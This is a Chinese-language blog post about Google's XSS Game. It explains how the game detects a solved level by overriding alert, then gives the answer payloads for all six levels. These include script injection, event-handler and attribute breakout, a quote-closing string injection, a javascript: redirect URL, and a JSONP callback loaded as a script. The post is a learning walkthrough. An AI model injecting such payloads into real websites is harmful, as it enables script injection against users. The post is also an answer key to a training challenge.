有意思的游戏:Google XSS Game

简介:

Google最近出了一个XSS的游戏:

https://xss-game.appspot.com/

我这个菜鸟看提示,花了两三个小时才全过了。。

这个游戏的规则是只要在攻击网页上弹出alert窗口就可以了。

题目页面是在iframe里嵌套的展现的,那么父窗口是如何知道iframe里成功弹出了窗口?

是这样子实现的:

题目页面加载了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。

https://xss-game.appspot.com/static/game-frame.js

/* If we're being iframed, let the parent know our URL */
/* Kids: don't do this at home! */
parent.postMessage(window.location.toString(), "*");

/* Override window.alert */
var originalAlert = window.alert;
window.alert = function(s) {
  parent.postMessage("success", "*");
  setTimeout(function() { 
    originalAlert("Congratulations, you executed an alert:\n\n" 
      + s + "\n\nYou can now advance to the next level.");
  }, 50);
}
然后父窗口注册了一个EventListener来接收这个消息:

https://xss-game.appspot.com/static/game.js

window.addEventListener("message", function(event) {

  if (!window.location.origin) {
    window.location.origin = window.location.protocol + "//" 
        + window.location.hostname 
        + (window.location.port ? ':' + window.location.port: '');
  }

  if (event.origin == window.location.origin && event.data == "success") {
    userOpenedAlert = true;
    levelSolved();
    return;
  }

最下面是题目的答案。如果想自己玩游戏的,慎拉下。














题目的答案:

Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">

Level3:

https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">

Level4:

3');alert('1

Level5:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level6:

重点是前面要有一个空格。

​ https://www.google.com/jsapi?callback=alert


游戏过关之后,google给出了一个xss的文档:

https://www.google.com/about/appsecurity/learning/xss/index.html


目录
相关文章
|
2月前
|
移动开发 JavaScript API
Sprunki Game 实现技术分析及介绍
**Sprunki** 是一款基于音乐创作的游戏,作为经典游戏 **Incredibox** 的粉丝改版,它采用 HTML5 和 JavaScript 构建,通过拖拽式 UI 和模块化声音系统,提供了一个创意十足的音乐创作平台。游戏支持多种设备,并融入了 CSS3 动画和 Web Audio API,增强视觉与音效同步。玩家还可以通过社交媒体分享作品,参与社区互动。Sprunki 不仅是一款游戏,更是一个开放的创作平台。
|
数据可视化
超好看的在线演示神器来了,就问微软怕不怕|Gamma
超好看的在线演示神器来了,就问微软怕不怕|Gamma
P1747 好奇怪的游戏
《爱与愁的故事第三弹·shopping》娱乐章。
109 0
P1747 好奇怪的游戏
|
算法 小程序 Java
java GUI记忆纸牌游戏(memorize game)
首先,一个小程序的制作要考虑的首先是程序界面的布局;其次是算法的设计,实现基本功能;然后再添加其他功能。然后就是Bug以及细节的处理;最后就是制作嵌入帮助开发系统。
142 0
|
安全
Google earth engine——初学者容易犯错的地方(2)
Google earth engine——初学者容易犯错的地方(2)
125 0
|
JavaScript 前端开发
Google earth engine——初学者容易犯错的地方(1)
Google earth engine——初学者容易犯错的地方(1)
176 0
|
BI 开发工具 Android开发
和iPhone玩家对战吧,Google Play游戏服务将支持iOS平台
Google今天在游戏开发者大会上宣布了若干与Google Play游戏服务的相关更新,其中和游戏玩家关系最大的也许就是Google Play Game Services将支持iOS平台,这也就意味着回合制和实时多人游戏将同时支持Android和iOS,以后这两个平台的玩家也就可以互动了。显然,这对于游戏开放商也是个好消息——让原本被割裂的用户参与到同场竞技中来。
317 0
和iPhone玩家对战吧,Google Play游戏服务将支持iOS平台
|
Web App开发 JavaScript
Firefox 4网页演示:宣布Web O’Wonder的奇迹
Web’O Wonder   Firefox 4来临,为网站开发人员带来一系列强大功能。   为了列举所有新的技术特征,我们把几种WEB放在一起演示。每周你将看到一对演示版,直到演示火狐4.0。您可以在线观看,在我们有名的新视频网站(Web O’Wonder)看前三个版本的演示。
709 0